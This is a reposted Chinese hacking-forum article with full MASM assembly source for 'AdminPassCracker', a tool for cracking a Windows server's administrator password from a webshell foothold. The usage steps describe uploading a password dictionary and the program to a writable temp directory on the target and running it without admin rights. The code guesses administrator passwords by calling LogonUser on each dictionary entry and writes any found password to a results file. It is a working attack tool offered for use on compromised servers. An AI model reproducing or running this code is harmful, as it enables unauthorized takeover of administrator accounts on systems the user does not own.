首页 网络安全 安全学院 查看内容

Webshell下破解计算机管理员密码

2008-10-30 00:40 840 0

摘要: 软件作者:taiwansee信息来源:邪恶八进制信息安全团队(www.eviloctal.com)这个idea源自以前学runas命令时候的启发。使用方法:    1、把你的密...
关键词: nbsp invoke eax mov DWORD addr NULL offset BYTE dwStart

软件作者:taiwansee信息来源:邪恶八进制信息安全团队(www.eviloctal.com)这个idea源自以前学runas命令时候的启发。使用方法:    1、把你的密码字典改名成psw.txt后,上传到目标服务器的一个可执行、可写的目录中。这里假设这个目录是:c:\windows\temp\    2、把程序上传到c:\windows\temp\中,然后运行它。    3、然后就是等待,过几分钟(具体时间看你的字典大小了)查阅c:\windows\temp\下的result_.txt中的结果,       如果为空就说明还没破解完,另选时间再回来看。特点:    不需要抓hash,不需要管理员权限,ISUR_*用户就能用,速度慢(这个也是特点哦)在测试机中的表现是每秒尝试1800个密码左右。    默认破解administrator用户的密码。要破其它,请自行修改代码。result_.txt示例:-----------------------------The administrator's password is: testerThe program had tried 32653 times! :)Use time:0 hour(s) 0 minute(s) 17.109 second(s),average speed: 1908 times/s.-----------------------------源代码如下:AdminPassCrack.asm文件 复制内容到剪贴板 代码:;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;                AdminPassCracker;;                                By taiwansee        2008.10.23;; 使用 nmake 或下列命令进行编译和链接:; ml /c /coff AdminPassCracker.asm; Link /subsystem:windows AdminPassCracker.obj;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>                .386                .model flat, stdcall                option casemap :none;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>; Include 文件定义;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>include                windows.incinclude                user32.incincludelib        user32.libinclude                kernel32.incincludelib        kernel32.libinclude                Advapi32.incincludelib        Advapi32.libinclude                _TotalTime.asm;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>; 数据段;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>                .constDEBUG                                equ        0LOGON32_LOGON_NETWORK                equ     3LOGON32_PROVIDER_DEFAULT        equ        0;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>; 数据段;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>align 4                .data?hModuleHandle                DWORD        ?szFileName                BYTE        MAX_PATH dup(?)                .dataszResultFile        BYTE        'result_.txt',0szPswDic        BYTE        'psw.txt',0szDomain        BYTE        '.',0szUserName        BYTE        'administrator',0szResultFileFormat        BYTE        'The administrator',27h,'s password is: %s',0dh,0ah                        BYTE        'The program had tried %d times! :)',0dh,0ah,0szNoDicFileErr                BYTE        'Sorry,dic file not exists.',0szCreateFileMappingErr        BYTE        'CreateFileMapping Error!',0szMapViewOfFileErr        BYTE        'MapViewOfFile Error!',0szNotFound                BYTE        'Password not found! :(',0dh,0ah,0;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>; 代码段;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>                .codealign 4_WinMain        proc        local        @hPswDic:DWORD,\                @szPswTmp[MAX_PATH]:BYTE,\                @dwPswDicFileSize:DWORD,\                @hResultFile:DWORD,\                @dwWritten:DWORD,\                @hPswDicFileMap:DWORD,\                @hToken:DWORD,\                @dwTriedTimes:DWORD,\                @szBuf[MAX_PATH]:BYTE,\                @dwContentLength:DWORD,\                @lpPswDic:DWORD,\                @lpNext:DWORD,\                @lpStart:DWORD,\                @dwStart:DWORD        ;Create file to record results.        invoke        CreateFile,offset szResultFile,GENERIC_READ or GENERIC_WRITE,\                           FILE_SHARE_READ or FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,\                           FILE_ATTRIBUTE_NORMAL,NULL        .if        eax == INVALID_HANDLE_VALUE                jmp _Error_Exit        .endif        mov        @hResultFile,eax;Open Dictionary file.        invoke        CreateFile,offset szPswDic,GENERIC_READ,\                           FILE_SHARE_READ,NULL,OPEN_EXISTING,\                           FILE_ATTRIBUTE_NORMAL,NULL        .if        eax == INVALID_HANDLE_VALUE                invoke        WriteFile,@hResultFile,offset szNoDicFileErr,sizeof szNoDicFileErr,addr @dwWritten,NULL                jmp _Error_Exit        .endif        mov        @hPswDic,eax        invoke        GetFileSize,@hPswDic,NULL        mov        @dwPswDicFileSize,eax;**********CreateFileMapping**********        invoke        CreateFileMapping,@hPswDic,NULL,PAGE_READONLY,0,0,NULL        .if        eax==NULL                invoke        WriteFile,@hResultFile,offset szCreateFileMappingErr,\                                  sizeof szCreateFileMappingErr,addr @dwWritten,NULL                jmp _Error_Exit                .endif        mov        @hPswDicFileMap,eax;**********MapViewOfFile**********        invoke        MapViewOfFile,eax,FILE_MAP_READ,0,0,0        .if        eax==NULL                invoke        WriteFile,@hResultFile,offset szMapViewOfFileErr,\                                  sizeof szMapViewOfFileErr,addr @dwWritten,NULL                jmp _Error_Exit        .endif        mov        @lpPswDic,eax        mov        @lpNext,eax        mov        @lpStart,eax                invoke        GetTickCount                ;计算使用的毫秒数,开始        mov        @dwStart,eax        xor        ecx,ecx        ;统计已经分析的字符个数        xor        eax,eax        mov        @dwTriedTimes,eax        ;统计尝试的次数        .while        TRUE                cld                mov        esi,@lpStart                lea        edi,@szPswTmp        @@:                lodsb                .if        al!=0dh                        stosb                        inc        ecx                        .if        ecx==@dwPswDicFileSize                                jmp        @F                        .elseif        ecx>@dwPswDicFileSize                                jmp        _NotFound                        .endif                        jmp        @B                .endif        @@:                add        ecx,2                xor        eax,eax                stosw                        ;用0结尾                        lea        eax,[esi+1]                mov        @lpNext,eax        ;修正到下一个密码                push        ecx        ;保存计数值                invoke        LogonUser,offset szUserName,offset szDomain,addr @szPswTmp,\                                  LOGON32_LOGON_NETWORK,\                                  LOGON32_PROVIDER_DEFAULT,\                                  addr @hToken                .if        eax==NULL                        pop        ecx        ;恢复计数值                        push        @lpNext                        pop        @lpStart                                                inc        @dwTriedTimes                        .continue                .else                        pop        ecx        ;堆栈平衡                        .break                .endif        .endw        invoke        GetTickCount                ;计算使用的毫秒数,结束        sub        eax,@dwStart        mov        @dwStart,eax        invoke        wsprintf,addr @szBuf,offset szResultFileFormat,addr @szPswTmp,@dwTriedTimes        invoke        lstrlen,addr @szBuf        mov        @dwContentLength,eax        invoke        WriteFile,@hResultFile,addr @szBuf,\                          @dwContentLength,addr @dwWritten,NULL                invoke        _TotalTime,addr @szBuf,@dwStart,@dwTriedTimes,NULL        invoke        lstrlen,addr @szBuf        mov        @dwContentLength,eax        invoke        WriteFile,@hResultFile,addr @szBuf,\                          @dwContentLength,addr @dwWritten,NULL                xor        eax,eax        inc        eax        ret_NotFound:        invoke        GetTickCount                ;计算使用的毫秒数,开始        sub        eax,@dwStart        mov        @dwStart,eax        invoke        lstrcpy,addr @szBuf,offset szNotFound        invoke        _TotalTime,addr @szPswTmp,@dwStart,@dwTriedTimes,NULL        invoke        lstrcat,addr @szBuf,addr @szPswTmp        invoke        lstrlen,addr @szBuf        mov        @dwContentLength,eax        invoke        WriteFile,@hResultFile,addr @szBuf,\                          @dwContentLength,addr @dwWritten,NULL_Error_Exit:        xor        eax,eax        ret_WinMain        endp;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>start:        invoke        GetModuleHandle,NULL        mov        hModuleHandle,eax        invoke        GetModuleFileName,hModuleHandle,offset szFileName,sizeof szFileName        invoke        lstrlen,offset szFileName        cld        mov        esi,offset szFileName        add        esi,eax        std@@:        lodsb        cmp        al,5ch        jne        @B        mov        byte ptr [esi+2],0        cld        invoke        SetCurrentDirectory,offset szFileName        call        _WinMain        invoke        ExitProcess,NULL;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>        end        start_TotalTime.asm文件 复制内容到剪贴板 代码:                .dataszResultFormat        BYTE        'Use time:%d hour(s) %d minute(s) %d.%03d second(s),average speed: %d times/s.',0dh,0ah,0                .code;********************************************************;        _TotalTime;_lpBuf为调用者提供的接收结果缓冲区;_dwTotalTime为总耗时,一般来说,前面有;invoke        GetTickCount;sub        eax,@dwStart;这两条指令;_dwThingsHappend为在计时期间,关心的事件发生的次数;_FutrueExtention为将来拓展用;********************************************************_TotalTime        proc        _lpBuf,_dwTotalTime,_dwThingsHappend,_FutrueExtentionlocal        @dwStart:DWORD,\        @dwMilliseconds:DWORD,\        @dwSecond:DWORD,\        @dwMinute:DWORD,\        @dwHour:DWORD,\        @dwSus:DWORD,\        @AVGSpeed:DWORD        mov        eax,_dwTotalTime        ;时间换算        xor        edx,edx        mov        ebx,1000        div        ebx        mov        @dwMilliseconds,edx        ;毫秒        xor        edx,edx        mov        ebx,60        div        ebx        mov        @dwSecond,edx                        xor        edx,edx        mov        ebx,60        div        ebx        mov        @dwMinute,edx                        xor        edx,edx        mov        ebx,24        div        ebx        mov        @dwHour,edx                ;计算平均速度:_dwThingsHappend÷_dwTotalTime        xor        edx,edx        mov        eax,_dwThingsHappend        ;_dwThingsHappend 也扩大1000倍(因为_dwTotalTime时间是毫秒数)        mov        ebx,1000        mul        ebx        mov        ebx,_dwTotalTime        ;把_dwTotalTime的值恢复到ebx        .if        ebx!=0                div        ebx                mov        @AVGSpeed,eax        .else        ;如果_dwTotalTime为0,说明运行时间太少,无法统计,在这里用_dwThingsHappend作为@AVGSpeed的                push        _dwThingsHappend                pop        @AVGSpeed        .endif        invoke        wsprintf,_lpBuf,\                         offset szResultFormat,\                         @dwHour,\                         @dwMinute,\                         @dwSecond,\                         @dwMilliseconds,\                         @AVGSpeed        xor        eax,eax        inc        eax        ret_TotalTime        endp var tagarray = ['逆向工程','IIS','收集','飘絮','源代码','PeakSharp','隐藏驱动','百度','驱动编程','rsa','90hackit','ratproxy','XSS','捆绑','资源','架构','内网','讨论','感染','机器狗','Oracle','DDoS','内核编程','Microsoft','Overflow','WPS','Office','Buffer','Serv-U','DataExplorer','EasyRecovery','Ghost','数据恢复','手机号','属主','猎头','招聘','核心溢出'];var tagencarray = ['%E9%80%86%E5%90%91%E5%B7%A5%E7%A8%8B','IIS','%E6%94%B6%E9%9B%86','%E9%A3%98%E7%B5%AE','%E6%BA%90%E4%BB%A3%E7%A0%81','PeakSharp','%E9%9A%90%E8%97%8F%E9%A9%B1%E5%8A%A8','%E7%99%BE%E5%BA%A6','%E9%A9%B1%E5%8A%A8%E7%BC%96%E7%A8%8B','rsa','90hackit','ratproxy','XSS','%E6%8D%86%E7%BB%91','%E8%B5%84%E6%BA%90','%E6%9E%B6%E6%9E%84','%E5%86%85%E7%BD%91','%E8%AE%A8%E8%AE%BA','%E6%84%9F%E6%9F%93','%E6%9C%BA%E5%99%A8%E7%8B%97','Oracle','DDoS','%E5%86%85%E6%A0%B8%E7%BC%96%E7%A8%8B','Microsoft','Overflow','WPS','Office','Buffer','Serv-U','DataExplorer','EasyRecovery','Ghost','%E6%95%B0%E6%8D%AE%E6%81%A2%E5%A4%8D','%E6%89%8B%E6%9C%BA%E5%8F%B7','%E5%B1%9E%E4%B8%BB','%E7%8C%8E%E5%A4%B4','%E6%8B%9B%E8%81%98','%E6%A0%B8%E5%BF%83%E6%BA%A2%E5%87%BA'];parsetag(); 附件 AdminPassCracker.rar (63.98 KB) 2008-10-23 17:39, 下载次数: 196
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部